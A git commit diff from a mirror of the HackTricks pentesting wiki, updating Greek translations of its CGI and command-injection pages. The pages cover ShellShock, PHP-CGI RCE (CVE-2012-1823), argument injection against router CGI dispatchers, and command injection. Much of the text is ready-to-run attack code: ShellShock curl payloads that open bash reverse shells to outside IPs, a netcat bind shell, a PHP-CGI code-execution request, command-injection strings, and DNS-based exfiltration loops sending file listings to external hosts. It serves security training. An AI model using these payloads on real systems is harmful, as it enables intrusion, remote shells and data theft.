mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',
This commit is contained in:
parent
deb682f36a
commit
316683a49d
@ -1,26 +1,30 @@
|
|||||||
|
# CGI Pentesting
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
# Πληροφορίες
|
|
||||||
|
|
||||||
Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **να αλλάξετε την επέκταση** από **.pl** σε **.cgi**, να δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και να **πρόσβαση** στο reverse shell **από τον περιηγητή** για να το εκτελέσετε. Για να δοκιμάσετε για **CGI vulns** συνιστάται να χρησιμοποιήσετε `nikto -C all` \(και όλα τα plugins\)
|
## Πληροφορίες
|
||||||
|
|
||||||
# **ShellShock**
|
Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε συμβιβάσει έναν server που μπορεί να εκτελέσει _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **αλλάξετε την επέκταση** από **.pl** σε **.cgi**, δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και **πρόσβαση** στο reverse shell **από τον web browser** για να το εκτελέσετε.
|
||||||
|
Για να ελέγξετε για **CGI vulns** συνιστάται η χρήση `nikto -C all` \(και όλα τα plugins\)
|
||||||
|
|
||||||
Το **ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο **Bash** command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των **μεταβλητών περιβάλλοντος**, οι οποίες είναι δυναμικές ονομασμένες τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching **κακόβουλο κώδικα** σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα.
|
## **ShellShock**
|
||||||
|
|
||||||
Εκμεταλλευόμενοι αυτή την ευπάθεια, η **σελίδα θα μπορούσε να ρίξει ένα σφάλμα**.
|
**ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος γραμμής εντολών **Bash** σε Unix-based λειτουργικά συστήματα. Στοχεύει την ικανότητα του Bash να τρέχει εντολές που του περνάνε εφαρμογές. Η ευπάθεια εντοπίζεται στη χειραγώγηση των **μεταβλητών περιβάλλοντος (environment variables)**, που είναι δυναμικές ονομαστικές τιμές που επηρεάζουν τον τρόπο εκτέλεσης διεργασιών σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσθέτοντας **κακόβουλο κώδικα** σε environment variables, ο οποίος εκτελείται όταν η μεταβλητή λαμβάνεται. Αυτό επιτρέπει σε επιτιθέμενους να ενδεχομένως συμβιβάσουν το σύστημα.
|
||||||
|
|
||||||
Μπορείτε να **βρείτε** αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια **παλιά έκδοση Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**.
|
Εκμεταλλευόμενη αυτή την ευπάθεια η **σελίδα μπορεί να εμφανίσει σφάλμα**.
|
||||||
|
|
||||||
## **Δοκιμή**
|
Μπορείτε να **εντοπίσετε** αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια **παλιά έκδοση Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**.
|
||||||
|
|
||||||
Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του ιστού. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις.
|
### **Δοκιμή**
|
||||||
|
|
||||||
|
Οι περισσότερες δοκιμές βασίζονται στο echo κάποιου κειμένου και αναμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην web απάντηση. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις cgi σελίδες και δοκιμάστε τις.
|
||||||
|
|
||||||
**Nmap**
|
**Nmap**
|
||||||
```bash
|
```bash
|
||||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||||
```
|
```
|
||||||
## **Curl \(αντανάκλαση, τυφλό και εκτός ζώνης\)**
|
## **Curl \(reflected, blind and out-of-band\)**
|
||||||
```bash
|
```bash
|
||||||
# Reflected
|
# Reflected
|
||||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||||
@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
|
|||||||
```bash
|
```bash
|
||||||
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
||||||
```
|
```
|
||||||
## Εκμετάλλευση
|
### Exploit
|
||||||
```bash
|
```bash
|
||||||
#Bind Shell
|
#Bind Shell
|
||||||
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
||||||
@ -47,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
|||||||
> set rhosts 10.1.2.11
|
> set rhosts 10.1.2.11
|
||||||
> run
|
> run
|
||||||
```
|
```
|
||||||
# **Proxy \(MitM σε αιτήματα Web server\)**
|
## Κεντροποιημένοι CGI dispatchers (δρομολόγηση ενός μοναδικού endpoint μέσω παραμέτρων επιλογέα)
|
||||||
|
|
||||||
Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στο http αίτημα. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"
|
Πολλές ενσωματωμένες web UIs πολυπλέκουν δεκάδες προνομιούχες ενέργειες πίσω από ένα μοναδικό CGI endpoint (π.χ. `/cgi-bin/cstecgi.cgi`) και χρησιμοποιούν παράμετρο επιλογέα όπως `topicurl=<handler>` για να δρομολογήσουν το αίτημα σε μια εσωτερική συνάρτηση.
|
||||||
|
|
||||||
Καθώς η μεταβλητή HTTP_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια **κεφαλίδα** που περιέχει: "**Proxy: <IP_attacker>:<PORT>**" και αν ο server εκτελέσει οποιοδήποτε αίτημα κατά τη διάρκεια της συνεδρίας. Θα μπορείτε να καταγράψετε κάθε αίτημα που γίνεται από τον server.
|
Μεθοδολογία για την εκμετάλλευση αυτών των δρομολογητών:
|
||||||
|
|
||||||
# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
|
||||||
|
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
|
||||||
|
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
|
||||||
|
|
||||||
Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" \(<5.3.12 / < 5.4.2\) μπορείτε να εκτελέσετε κώδικα.
|
Γενικά σχήματα exploit:
|
||||||
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να έχετε πρόσβαση σε κάποιο αρχείο PHP του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\).
|
```http
|
||||||
Στη συνέχεια, για να δοκιμάσετε αυτήν την ευπάθεια, θα μπορούσατε να έχετε πρόσβαση για παράδειγμα στο `/index.php?-s` \(σημειώστε το `-s`\) και **ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση**.
|
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε αυτήν την ειδική ερώτηση: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και τον **PHP κώδικα** που θα εκτελείται στο **σώμα του αιτήματος. Παράδειγμα:**
|
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
|
||||||
|
topicurl=<handler>¶m=-n
|
||||||
|
|
||||||
|
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
|
||||||
|
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||||
|
|
||||||
|
# 3) Validator bypass → arbitrary file write in file-touching handlers
|
||||||
|
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||||
|
```
|
||||||
|
Εντοπισμός και θωράκιση:
|
||||||
|
|
||||||
|
- Παρακολουθήστε για μη-εξουσιοδοτημένα αιτήματα προς κεντρικά CGI endpoints με `topicurl` ρυθμισμένο σε ευαίσθητους handlers.
|
||||||
|
- Σημαδέψτε παραμέτρους που ξεκινούν με `-` (argv option injection attempts).
|
||||||
|
- Vendors: επιβάλετε authentication σε όλους τους state-changing handlers, επικυρώστε με αυστηρές allowlists/types/lengths, και μην περνάτε ποτέ user-controlled strings ως command-line flags.
|
||||||
|
|
||||||
|
## Παλιό PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||||
|
|
||||||
|
Βασικά, αν cgi είναι ενεργό και php είναι "old" \(<5.3.12 / < 5.4.2\) μπορείτε να εκτελέσετε κώδικα.
|
||||||
|
Για να εκμεταλλευτείτε αυτή την ευπάθεια πρέπει να αποκτήσετε πρόσβαση σε κάποιο PHP αρχείο του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\).
|
||||||
|
Για να δοκιμάσετε αυτή την ευπάθεια, μπορείτε να προσπελάσετε για παράδειγμα `/index.php?-s` \(σημειώστε το `-s`\) και **ο source code της εφαρμογής θα εμφανιστεί στην απάντηση**.
|
||||||
|
|
||||||
|
Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε το ειδικό ερώτημα: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και ο **PHP code** που θα εκτελεστεί στο **body του αιτήματος**.
|
||||||
|
Παράδειγμα:
|
||||||
```bash
|
```bash
|
||||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||||
```
|
```
|
||||||
**Περισσότερες πληροφορίες σχετικά με την ευπάθεια και τις πιθανές εκμεταλλεύσεις:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
**Περισσότερες πληροφορίες για το vuln και πιθανές exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||||
|
|
||||||
|
## **Proxy \(MitM to Web server requests\)**
|
||||||
|
|
||||||
|
Το CGI δημιουργεί μια environment variable για κάθε header στο http request. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"
|
||||||
|
|
||||||
|
Καθώς η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον web server, δοκιμάστε να στείλετε ένα **header** που περιέχει: "**Proxy: <IP_attacker>:<PORT>**". Αν ο server πραγματοποιήσει κάποια αίτηση κατά τη διάρκεια της συνεδρίας, θα μπορείτε να καταγράψετε κάθε αίτηση που κάνει ο server.
|
||||||
|
|
||||||
|
## **Αναφορές**
|
||||||
|
|
||||||
|
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Τι είναι command Injection;
|
## Τι είναι command Injection?
|
||||||
|
|
||||||
Ένα **command injection** επιτρέπει την εκτέλεση αυθαίρετων operating system commands από έναν attacker στον server που φιλοξενεί μια application. Ως αποτέλεσμα, η application και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον attacker να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της application και στο underlying system.
|
Μια **command injection** επιτρέπει την εκτέλεση αυθαίρετων εντολών του λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
|
||||||
|
|
||||||
### Πλαίσιο
|
### Πλαίσιο
|
||||||
|
|
||||||
Ανάλογα με **πού εγχέεται το input σας**, μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.
|
Ανάλογα με το **πού εγχέεται το input σας** μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν τις εντολές.
|
||||||
|
|
||||||
## Command Injection/Execution
|
## Command Injection/Execution
|
||||||
```bash
|
```bash
|
||||||
@ -30,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||||
< /etc/passwd #Try to send some input to the command
|
< /etc/passwd #Try to send some input to the command
|
||||||
```
|
```
|
||||||
### **Περιορισμοί** Παρακάμψεις
|
### **Limition** Bypasses
|
||||||
|
|
||||||
|
Αν προσπαθείτε να εκτελέσετε **arbitrary commands inside a linux machine** θα σας ενδιαφέρει να διαβάσετε για αυτά τα **Bypasses:**
|
||||||
|
|
||||||
Αν προσπαθείτε να εκτελέσετε **οποιαδήποτε εντολή σε linux μηχάνημα**, μπορεί να σας ενδιαφέρει να διαβάσετε για αυτές τις **Παρακάμψεις:**
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../linux-hardening/bypass-bash-restrictions/
|
../linux-hardening/bypass-bash-restrictions/
|
||||||
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||||||
```
|
```
|
||||||
### Παράμετροι
|
### Παράμετροι
|
||||||
|
|
||||||
Ακολουθούν οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
Ακολουθούν οι κορυφαίες 25 παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||||
```
|
```
|
||||||
?cmd={payload}
|
?cmd={payload}
|
||||||
?exec={payload}
|
?exec={payload}
|
||||||
@ -76,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||||||
```
|
```
|
||||||
### Time based data exfiltration
|
### Time based data exfiltration
|
||||||
|
|
||||||
Εξαγωγή δεδομένων: χαρακτήρα ανά χαρακτήρα
|
Εξαγωγή δεδομένων: char by char
|
||||||
```
|
```
|
||||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
real 0m5.007s
|
real 0m5.007s
|
||||||
@ -90,7 +91,7 @@ sys 0m0.000s
|
|||||||
```
|
```
|
||||||
### DNS based data exfiltration
|
### DNS based data exfiltration
|
||||||
|
|
||||||
Βασίζεται στο εργαλείο από `https://github.com/HoLyVieR/dnsbin`, το οποίο φιλοξενείται επίσης στο dnsbin.zhack.ca
|
Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που φιλοξενείται επίσης στο dnsbin.zhack.ca
|
||||||
```
|
```
|
||||||
1. Go to http://dnsbin.zhack.ca/
|
1. Go to http://dnsbin.zhack.ca/
|
||||||
2. Execute a simple 'ls'
|
2. Execute a simple 'ls'
|
||||||
@ -100,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||||||
```
|
```
|
||||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||||
```
|
```
|
||||||
Διαδικτυακά εργαλεία για έλεγχο για DNS based data exfiltration:
|
Online εργαλεία για να ελέγξετε για DNS based data exfiltration:
|
||||||
|
|
||||||
- dnsbin.zhack.ca
|
- dnsbin.zhack.ca
|
||||||
- pingb.in
|
- pingb.in
|
||||||
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
|||||||
|
|
||||||
### Node.js `child_process.exec` vs `execFile`
|
### Node.js `child_process.exec` vs `execFile`
|
||||||
|
|
||||||
Κατά τον έλεγχο JavaScript/TypeScript back-ends, θα συναντάτε συχνά το Node.js `child_process` API.
|
Κατά τον έλεγχο backend εφαρμογών σε JavaScript/TypeScript, συχνά θα συναντήσετε το Node.js `child_process` API.
|
||||||
```javascript
|
```javascript
|
||||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||||
const { exec } = require('child_process');
|
const { exec } = require('child_process');
|
||||||
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
|||||||
/* … */
|
/* … */
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
`exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα έχει ως αποτέλεσμα **command injection** όταν η είσοδος του χρήστη συνενώνεται στη συμβολοσειρά.
|
`exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος του χρήστη συγχωνεύεται σε μια συμβολοσειρά.
|
||||||
|
|
||||||
**Mitigation:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την `shell` επιλογή) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται το shell:
|
**Αντιμετώπιση:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell:
|
||||||
```javascript
|
```javascript
|
||||||
const { execFile } = require('child_process');
|
const { execFile } = require('child_process');
|
||||||
execFile('/usr/bin/do-something', [
|
execFile('/usr/bin/do-something', [
|
||||||
@ -139,8 +140,37 @@ execFile('/usr/bin/do-something', [
|
|||||||
'--payload', JSON.stringify(payload)
|
'--payload', JSON.stringify(payload)
|
||||||
]);
|
]);
|
||||||
```
|
```
|
||||||
Πραγματικό περιστατικό: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη-επαληθευμένου WebSocket event που τοποθέτησε δεδομένα υπό τον έλεγχο του attacker στο `id_user`, τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
|
Πραγματική περίπτωση: *Synology Photos* ≤ 1.7.0-0794 ήταν εκτεθειμένο μέσω ενός μη πιστοποιημένου WebSocket event που τοποθέτησε attacker controlled δεδομένα στο `id_user` τα οποία αργότερα ενσωματώθηκαν σε μια κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
|
||||||
|
|
||||||
|
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||||
|
|
||||||
|
Δεν απαιτούν όλες οι εγχύσεις shell metacharacters. Αν η εφαρμογή περνάει μη αξιόπιστες συμβολοσειρές ως ορίσματα σε ένα system utility (ακόμα και με `execve`/`execFile` και χωρίς shell), πολλά προγράμματα θα εξακολουθούν να αναλύουν οποιοδήποτε όρισμα που ξεκινά με `-` ή `--` ως επιλογή. Αυτό επιτρέπει σε έναν attacker να αλλάξει λειτουργίες, να αλλάξει μονοπάτια εξόδου ή να ενεργοποιήσει επικίνδυνες συμπεριφορές χωρίς ποτέ να εισέλθει σε ένα shell.
|
||||||
|
|
||||||
|
Τυπικά σημεία όπου αυτό εμφανίζεται:
|
||||||
|
|
||||||
|
- Embedded web UIs/CGI handlers που κατασκευάζουν εντολές όπως `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, κ.λπ.
|
||||||
|
- Centralized CGI routers (π.χ. `/cgi-bin/<something>.cgi` με παράμετρο selector όπως `topicurl=<handler>`) όπου πολλαπλοί handlers επαναχρησιμοποιούν τον ίδιο αδύναμο validator.
|
||||||
|
|
||||||
|
Τι να δοκιμάσετε:
|
||||||
|
|
||||||
|
- Δώστε τιμές που ξεκινούν με `-`/`--` για να καταναλωθούν ως flags από το downstream tool.
|
||||||
|
- Κακομεταχειριστείτε flags που αλλάζουν συμπεριφορά ή γράφουν αρχεία, για παράδειγμα:
|
||||||
|
- `ping`: `-f`/`-c 100000` για να καταπονήσετε τη συσκευή (DoS)
|
||||||
|
- `curl`: `-o /tmp/x` για να γράψετε σε αυθαίρετα μονοπάτια, `-K <url>` για να φορτώσετε attacker-controlled config
|
||||||
|
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` για να επιτύχετε post-rotate execution σε unsafe wrappers
|
||||||
|
- Αν το πρόγραμμα υποστηρίζει το `--` (end-of-options), δοκιμάστε να παρακάμψετε αφελείς mitigations που προθέτουν `--` στο λάθος σημείο.
|
||||||
|
|
||||||
|
Generic PoC shapes against centralized CGI dispatchers:
|
||||||
|
```
|
||||||
|
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
# Flip options in a downstream tool via argv injection
|
||||||
|
topicurl=<handler>¶m=-n
|
||||||
|
|
||||||
|
# Unauthenticated RCE when a handler concatenates into a shell
|
||||||
|
topicurl=setEasyMeshAgentCfg&agentName=;id;
|
||||||
|
```
|
||||||
## Brute-Force Detection List
|
## Brute-Force Detection List
|
||||||
|
|
||||||
|
|
||||||
@ -156,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
|||||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||||
|
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user